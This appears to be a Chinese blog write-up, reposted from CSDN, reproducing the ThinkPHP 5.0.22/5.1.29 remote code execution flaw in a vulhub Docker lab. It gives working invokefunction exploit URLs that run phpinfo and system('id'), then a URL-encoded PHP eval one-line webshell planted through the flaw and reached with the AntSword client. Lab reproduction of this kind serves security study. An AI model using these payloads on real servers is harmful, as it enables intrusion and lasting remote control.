Thinkphp5 5.0.22/5.1.29远程代码执行漏洞+webshell工具连接(复现详细过程)

漏洞介绍

       ThinkPHP是国内使用极为广泛的PHP开发框架。由于框架处理控制器名称不正确,如果网站未启用强制路由(这是默认设置),它可以执行任何方法,从而导致 RCE 漏洞。

       影响版本:Thinkphp5 5.0.22/5.1.29

漏洞复现

1.环境搭建

这里是使用Ubuntu虚拟机基于vulhub漏洞集成环境生成靶场

进入 Vulhub 对应的漏洞路径下:cd /vulhub/thinkphp/5-rce

执行命令docker-compose up -d编译并运行靶场容器:

通过局域网内 Win 10 物理机访问http://your-ip:8080,可以看到ThinkPHP的默认页面:

 

到此漏洞环境就搭建完成了(docker就是这么高效)

2.漏洞利用

Poc1

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

 直接拼接在your-id:8080后面,访问就会出现phpinfo页面:

 Poc2

//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

直接拼接在your-id:8080后面,就会看到页面回显出执行id指令的信息:

 在此处发现了文件上传的点,接下来进行webshell文件的上传。

首先我们先将一句话木马进行url编码:

编码结果:%3C%3Fphp%20%40eval(%24_POST%7B2333%7D)%20%3B%3F%3E

我们将此编码拼接在上面提到的id位置,进行文件上传,看到网页出现回显:

 证明webshell文件上传成功。

3.webshell连接

利用中国蚁剑进行连接:

输入上传webshell所在的url地址,还有一句话木马里面包含的密码。

 连接成功,可以看到网站的目录:

猜你喜欢

转载自blog.csdn.net/m0_52701599/article/details/129646523